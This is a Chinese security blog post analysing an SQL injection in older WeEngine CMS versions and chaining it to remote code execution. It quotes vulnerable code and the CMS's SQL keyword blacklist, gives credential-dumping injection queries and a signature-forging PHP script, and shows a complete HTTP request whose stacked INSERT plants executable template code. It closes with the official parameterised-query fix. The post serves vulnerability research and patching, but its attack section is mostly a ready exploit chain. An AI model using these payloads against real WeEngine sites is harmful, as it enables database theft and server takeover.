目录
0x01 写在前面
微擎 CMS 在 2.0 版本的时候悄咪咪修复了一处 SQL 注入漏洞:
该处的注入漏洞网上没有出现过分析文章,因此本文就来分析一下该处 SQL 注入的利用。
0x02 影响版本
经过测试发现,官网在 GitLee 上,在 v1.5.2 存在此漏洞,在 2.0 版本修复了该漏洞,因此目测至少影响到 v1.5.2 版本
0x03 SQL 注入漏洞分析
这个注入漏洞分析还是比较简单的,直接定位到存在漏洞的代码处api.php
530 行开始、564 行开始的两个函数:
private function analyzeSubscribe(&$message) {
global $_W;
$params = array();
$message['type'] = 'text';
$message['redirection'] = true;
if(!empty($message['scene'])) {
$message['source'] = 'qr';
$sceneid = trim($message['scene']);
$scene_condition = '';
if (is_numeric($sceneid)) {
$scene_condition = " `qrcid` = '{$sceneid}'";
}else{
$scene_condition = " `scene_str` = '{$sceneid}'";
}
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");
if(!empty($qr)) {
$message['content'] = $qr['keyword'];
if (!empty($qr['type']) && $qr['type'] == 'scene') {
$message['msgtype'] = 'text';
}
$params += $this->analyzeText($message);
return $params;
}
}
$message['source'] = 'subscribe';
$setting = uni_setting($_W['uniacid'], array('welcome'));
if(!empty($setting['welcome'])) {
$message['content'] = $setting['welcome'];
$params += $this->analyzeText($message);
}
return $params;
}
private function analyzeQR(&$message) {
global $_W;
$params = array();
$params = $this->handler($message['type']);
if (!empty($params)) {
return $params;
}
$message['type'] = 'text';
$message['redirection'] = true;
if(!empty($message['scene'])) {
$message['source'] = 'qr';
$sceneid = trim($message['scene']);
$scene_condition = '';
if (is_numeric($sceneid)) {
$scene_condition = " `qrcid` = '{$sceneid}'";
}else{
$scene_condition = " `scene_str` = '{$sceneid}'";
}
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");
}
if (empty($qr) && !empty($message['ticket'])) {
$message['source'] = 'qr';
$ticket = trim($message['ticket']);
if(!empty($ticket)) {
$qr = pdo_fetchall("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE `uniacid` = '{$_W['uniacid']}' AND ticket = '{$ticket}'");
if(!empty($qr)) {
if(count($qr) != 1) {
$qr = array();
} else {
$qr = $qr[0];
}
}
}
}
if(!empty($qr)) {
$message['content'] = $qr['keyword'];
if (!empty($qr['type']) && $qr['type'] == 'scene') {
$message['msgtype'] = 'text';
}
$params += $this->analyzeText($message);
}
return $params;
}
在analyzeSubscribe
函数中的 SQL 语句:
$qr = pdo_fetch("SELECT `id`, `keyword` FROM " . tablename('qrcode') . " WHERE {$scene_condition} AND `uniacid` = '{$_W['uniacid']}'");
直接将$scene_condition
变量拼接到了 pod_fetch
函数中,而$scene_condition
变量值来自于$sceneid = trim($message['scene']);
,可以看到仅仅是做了移除字符串两侧空白字符处理。那么就可以通过构造$message['scene']
的值,去构造 SQL 语句。
在analyzeQR
函数中也是类似,因此我们以analyzeSubscribe
函数为例来分析构造poc。
0x04 SQL 注入构造分析
微擎中为了避免 SQL注入,实现了包括参数化查询、关键字&字符过滤的方式。
过滤的内容如下:
framework/class/db.class.php
700 行:
private static $disable = array(
'function' => array('load_file', 'floor', 'hex', 'substring', 'if', 'ord', 'char', 'benchmark', 'reverse', 'strcmp', 'datadir', 'updatexml', 'extractvalue', 'name_const', 'multipoint', 'database', 'user'),
'action' => array('@', 'intooutfile', 'intodumpfile', 'unionselect', 'uniondistinct', 'information_schema', 'current_user', 'current_date'),
'note' => array('/*', '*/', '#', '--'),
);
可以看到禁用了以下函数:
- load_file、floor、hex、substring、if、ord、char、benchmark、reverse、reverse、strcmp、datadir、datadir、updatexml、extractvalue、name_const、multipoint、database、user
禁用了以下关键字:
- @、into outfile、into dumpfile、union select、union all、union distinct、information_schema、current_user、current_date
禁用了以下注释符:
/*
、*/
、--
、#
所以对于构造 payload 来说还是造成了一定的麻烦。
首先将函数中 SQL 语句还原如下:
SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = ? and uniacid = $_W['uniacid'];
那么如果我们想查询到管理员账号密码且不包含相关敏感字符,则可以使用 exp语句,如下示例:
SELECT `id`, `keyword` FROM ims_qrcode where `scene_str` = 1 AND(EXP(~(SELECT*from(select group_concat(0x7B,uid,0x23,password,0x23,salt,0x23,lastvisit,0x23,lastip,0x7D) from we7.ims_users)a))) and uniacid = $_W['uniacid'];
具体构建由于本地 MySQL 版本不合适,因此就不写了。
这里来说下另一种注入方式。
我们知道微擎里的 SQL 语句使用的是 PDO 查询,因此支持堆叠注入。
但要注意的是,使用 PDO 执行 SQL 语句时,虽然可以执行多条 SQL语句,但只会返回第一条 SQL 语句的执行结果,所以第二条语句中需要使用 update 更新数据且该数据我们可以通过页面看到,这样才可以获取数据。
经过测试发现,微擎支持注册用户,如下图所示:
登陆后可以在个人中心看到:
邮寄地址就是一个很好的显示地方,也就是说可以执行以下语句。
update ims_users_profile set address=(select username from ims_users where uid =1 ) where uid=2;
语句中的2
是注册后账号的uid,可以从 cookie中找到:
但是这里有一个问题,就是在我们注入的时候,首先要验证:
api.php
181行:
if(empty($this->account)) {
exit('Miss Account.');
}
if(!$this->account->checkSign()) {
exit('Check Sign Fail.');
}
跟进checkSign()
:
public function checkSign() {
$arrParams = array(
$token = $this->account['token'],
$intTimeStamp = $_GET['timestamp'],
$strNonce = $_GET['nonce'],
);
sort($arrParams, SORT_STRING);
$strParam = implode($arrParams);
$strSignature = sha1($strParam);
return $strSignature == $_GET['signature'];
}
可以看到有三个变量需要我们去验证,其生成规则在api.php
129 行的encrypt
函数,如下:
public function encrypt() {
global $_W;
if(empty($this->account)) {
exit('Miss Account.');
}
$timestamp = TIMESTAMP;
$nonce = random(5);
$token = $_W['account']['token'];
$signkey = array($token, TIMESTAMP, $nonce);
sort($signkey, SORT_STRING);
$signString = implode($signkey);
$signString = sha1($signString);
$_GET['timestamp'] = $timestamp;
$_GET['nonce'] = $nonce;
$_GET['signature'] = $signString;
$postStr = file_get_contents('php://input');
if(!empty($_W['account']['encodingaeskey']) && strlen($_W['account']['encodingaeskey']) == 43 && !empty($_W['account']['key']) && $_W['setting']['development'] != 1) {
$data = $this->account->encryptMsg($postStr);
$array = array('encrypt_type' => 'aes', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);
} else {
$data = array('', '');
$array = array('encrypt_type' => '', 'timestamp' => $timestamp, 'nonce' => $nonce, 'signature' => $signString, 'msg_signature' => $data[0], 'msg' => $data[1]);
}
exit(json_encode($array));
}
其中timestamp
是时间戳、nonce
是5 位随机字符串、signature
是由 sha1加密后的$signString
,而$signString
是由 token
、timestamp
、nonce
组成。可以看到,是硬编码生成,因此可以通过print_r($_W)
得到token
值,如下:
所以可以利用以下代码生成:
<?php
$timestamp = time();
$nonce = random(5);
$token = "omJNpZEhZeHj1ZxFECKkP48B5VFbk1HP";
$signkey = array($token, $timestamp, $nonce);
sort($signkey, SORT_STRING);
$signString = implode($signkey);
$signString = sha1($signString);
echo $timestamp . " | ".$nonce." | ".$signString;
function random($length) {
$strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklnmopqrstuvwxyz0123456789';
$result = substr(str_shuffle($strs),mt_rand(0,strlen($strs)-($length + 1)),$length);
return $result;
}
?>
得到:
1622388248 | SATNv | d886b80d868b6fb1038c77f1f26ae5f2891a3b22
然后根据官网文档中的消息格式:
所以最终的 payload 为:
最终在个人中心可以看到:
但是这种方式比较鸡肋和费事,一是解密非常难,二是如果直接添加账号也会留下很多痕迹,三是即是登录后,还要拿 shell。
那么有没有一步到位的方法?
0x05 从 SQL 到 RCE
/app/source/home/page.ctrl.php
文件:
$do = in_array($do, $dos) ? $do : 'index';
$id = intval($_GPC['id']);
if($do == 'getnum'){
$goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));
message(error('0', array('goodnum' => $goodnum['goodnum'])), '', 'ajax');
} elseif($do == 'addnum'){
if(!isset($_GPC['__havegood']) || (!empty($_GPC['__havegood']) && !in_array($id, $_GPC['__havegood']))) {
$goodnum = pdo_get('site_page', array('id' => $id), array('goodnum'));
if(!empty($goodnum)){
$updatesql = pdo_update('site_page', array('goodnum' => $goodnum['goodnum'] + 1), array('id' => $id));
if(!empty($updatesql)) {
isetcookie('__havegood['.$id.']', $id, 86400*30*12);
message(error('0', ''), '', 'ajax');
}else {
message(error('1', ''), '', 'ajax');
}
}
}
} else {
$footer_off = true;
template_page($id);
}
首先判断$do
的类型,如果不是getnum
和addnum
时,进入template_page
函数。
跟进/app/common/template.func.php
111行:
function template_page($id, $flag = TEMPLATE_DISPLAY) {
global $_W;
$page = pdo_fetch("SELECT * FROM ".tablename('site_page')." WHERE id = :id LIMIT 1", array(':id' => $id));
if (empty($page)) {
return error(1, 'Error: Page is not found');
}
if (empty($page['html'])) {
return '';
}
$page['html'] = str_replace(array('<?', '<%', '<?php', '{php'), '_', $page['html']);
$page['html'] = preg_replace('/<\s*?script.*(src|language)+/i', '_', $page['html']);
$page['params'] = json_decode($page['params'], true);
$GLOBALS['title'] = htmlentities($page['title'], ENT_QUOTES, 'UTF-8');
$GLOBALS['_share'] = array('desc' => $page['description'], 'title' => $page['title'], 'imgUrl' => tomedia($page['params']['0']['params']['thumb']));;
$compile = IA_ROOT . "/data/tpl/app/{$id}.{$_W['template']}.tpl.php";
$path = dirname($compile);
if (!is_dir($path)) {
load()->func('file');
mkdirs($path);
}
$content = template_parse($page['html']);
if (!empty($page['params'][0]['params']['bgColor'])) {
$content .= '<style>body{background-color:'.$page['params'][0]['params']['bgColor'].' !important;}</style>';
}
$GLOBALS['bottom_menu'] = $page['params'][0]['property'][0]['params']['bottom_menu'];
file_put_contents($compile, $content);
switch ($flag) {
case TEMPLATE_DISPLAY:
default:
extract($GLOBALS, EXTR_SKIP);
template('common/header');
include $compile;
template('common/footer');
break;
case TEMPLATE_FETCH:
extract($GLOBALS, EXTR_SKIP);
ob_clean();
ob_start();
include $compile;
$contents = ob_get_contents();
ob_clean();
return $contents;
break;
case TEMPLATE_INCLUDEPATH:
return $compile;
break;
}
}
首先根据id
从ims_site_page
数据表里读取页面信息,然后过滤掉敏感信息,最后通过file_put_contents
写入到$compile
,然后在switch
中被包含include $compile;
。
因此我们可以利用 SQL 注入,向ims_site_page
表中插入一句话数据。如下:
POST /wq/new/api.php?id=1×tamp=1622388248&nonce=SATNv&signature=d886b80d868b6fb1038c77f1f26ae5f2891a3b22 HTTP/1.1
Host: 192.168.49.47
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close
Content-Length: 440
<xml>
<ToUserName>one</ToUserName>
<FromUserName>two</FromUserName>
<CreateTime>1348831806</CreateTime>
<MsgType>qr</MsgType>
<Content>test</Content>
<type>text</type>
<Event>hello</Event>
<scene>test';insert into ims_site_page(id,uniacid,multiid,title,description,params,html,multipage,type,status,createtime,goodnum) values(1,1,1,'4','5','[{"params":{"thumb":""}}]','{if phpinfo())?>//}','8','9','10','11','12');</scene>
</xml>
这里的模板内容PHP 代码可以参考:PHP 语句
然后根据官网文档路由介绍:
则有:
成功执行代码
0x06 漏洞修复
这个漏洞主要就是由 SQL 注入引起的,因此修复 SQL 注入后,后续的包含也没法继续利用了。
官方修复方式如下:
改成了微擎自带的参数化查询。
0x07 写在最后
由于这个是老洞了,所以在搭建上坑点不少,但是漏洞很好理解。
最后感谢续师傅的指导,周末还继续带我学习(膜~
0x08 参考
https://www.kancloud.cn/donknap/we7/134649
https://www.kancloud.cn/hl449006540/we-engine-datasheet/1103542
https://wiki.w7.cc/chapter/35?id=507
https://gitee.com/we7coreteam/pros/commit/1f5ffb82836f7602f3acbaf9e93e9aa087c93579)